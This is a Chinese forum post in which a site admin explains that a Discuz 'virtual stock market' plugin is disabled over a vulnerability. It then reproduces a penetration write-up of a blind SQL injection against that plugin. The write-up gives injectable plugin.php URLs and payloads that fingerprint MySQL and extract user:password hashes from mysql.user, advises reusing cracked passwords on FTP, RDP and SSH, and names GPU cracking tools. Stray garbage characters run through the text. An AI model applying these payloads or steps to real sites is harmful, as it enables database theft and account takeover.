TA的每日心情 | 擦汗 5 小时前 |
---|
签到天数: 2372 天 [LV.Master]伴坛终老
|
很多朋友在找虚拟股市,其实并非本站不想开放,插件出现了严重漏洞,而且这个插件是加密的,无法修改源码。9 F$ N* U/ w" m: I. g
, a# z* }6 ~8 N' [
我们一直在等在原作者站出来解决,假如作者一直出现的话,我们可能会放弃这个版本的虚拟股市,所有资金将换算成ec币,发放到各位的账号。
- E% @% I u) }4 r" m0 T1 ?$ N3 [1 q: t1 U8 o! B9 f
漏洞如下:( B- b- M! h% e1 ^ ~* l
% N$ o0 \8 S eDiscuz插件《虚拟股市》blind Injection Vul利用
% T X5 m0 A! s$ C1 o8 S
3 z4 Q v) r+ a. y+ t X) ^
! S( z4 T4 S% Z! [" ^' m6 j漏洞的发现来自于对某站的渗透,由于其discuz版本为7.0,所以我只能把眼光聚焦在了它所安装的第三方插件上。 ) @. W U/ s& {
经过简单的测试,就发现了《虚拟股市》存在注射漏洞:
, C( I2 s6 q9 T4 M; X4 @" ghttp://www.target.com/plugin.php ... _One&stockid=91 # 91为可变参数
0 f6 U5 F- ~$ {& ihttp://www.target.com/plugin.php ... ser_Show&uid=13 # 13为可变参数
. o$ T- e3 g/ Z/ u5 e! k确认存在注射后开始尝试用order by猜解字段数,然后union select。但两个注射点都在字段数达到一定数目后,所执行的SQL语句发生了变化。原因是插件代码中有控制语句,使其跳转到另一行中执行。这种情况下,我们没办法获得字段数。
$ ~" l3 G" Q5 U |思路有二:
) [! u7 p( b1 r9 K7 P( z1.尝试盲注 7 v& n1 h$ f1 N
2.通过阅读《虚拟股市》这个插件的源码来确认其表结构和字段数
1 Q' i* {4 ]* \" y H, K但经过搜索发现,这个插件的作者在发布时用了zend对其源码进行了加密。而现有所有的解密工具都不是很理想(这也是无法搞清楚漏洞原理和细节的原因)。因此,只能采取盲注的手法(对我而言)。 2 `$ \! P {. b- V
盲注费时间是没办法的,但我们会想,盲注能获得哪些信息呢?我的方法如下:
$ _$ y: i3 U9 M: z6 Z#判断MYSQL版本,返回正常则为5,返回不正常则继续测试是否为4 9 o# ^- e6 {- P$ E0 I
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and substring(@@version,1,1)=5 " V- W: q% \ H! D* q% G
#是否支持子查询(版本为4的情况下) - O8 s4 p0 C! o: o: N5 L5 w
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1)=1
- u {: h$ p' M0 ]- ~' @/ W#当前用户是否为root : S$ \% ~* ~. T
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1 from mysql.user limit 0,1)=1 9 r* K$ j& r/ J' r
下面就根据情况而异了:
, K4 L [9 O, @) t1. 假如数据库用户为root,则可以直接取出root密码HASH,然后破解。如果对方服务器3306开放,或者装有phpmyadmin,那么下一步不用说相信大家也知道了。如果没有开放3306,也没有安装phpmyadmin,那么可以用破解出来的密码猜测一下ftp密码,3389密码,或者SSH密码,又或者后台管理员密码,等等。 % s, u/ X" g z# j1 u$ I3 Z
2.假如数据库用户不为root,则直接取出discuz用户表cdb_members的管理员密码HASH,然后破解。 # e, \5 E$ O0 r$ k
#######取数据
( y$ X0 o& F' a% J' x; w& h#mysql.user表第一行第一个字符的ASCII值是否大于80 4 d0 j6 _6 Y4 [7 \% c" T) H. y
and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),1,1))>80 " K# ]$ H8 h" P* i8 c* Y1 x1 w+ K
#第二个字符的ASCII值是否大于90 0 P. o3 n7 }4 X
and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),2,1))>90 ! ^' `5 t; A, W' L8 o- f
…………
7 b1 S# q7 A: ]+ w; O就这样逐个猜,MYSQL4的密码HASH为16位MD5加密,MYSQL5的密码HASH为41位(加*号)。 ! F) U0 ?5 @* s" M. U
密码破解: 2 N! r' H* c, W! e c) R1 o
1.MYSQL版本为4的话,这里有工具www.sqlhack.com,这个工具利用的是一个传说中的BUG,速度爆快。
1 y6 ]: q: j* C$ U7 j2.MYSQL 版本为5的话,我推荐用ighashgpu进行破解(貌似只用GPU,不用CPU),我AMD4核+HD 4650显卡,破解速度为60M/s,放到Inter Core i7 8核 + NVIDIA GeForce 9800GTX+平台上,速度是70M/s。而用passwordpro,速度才170w/s,这就是差距。7位纯字母我只用了7分多钟就破出来了。 |
|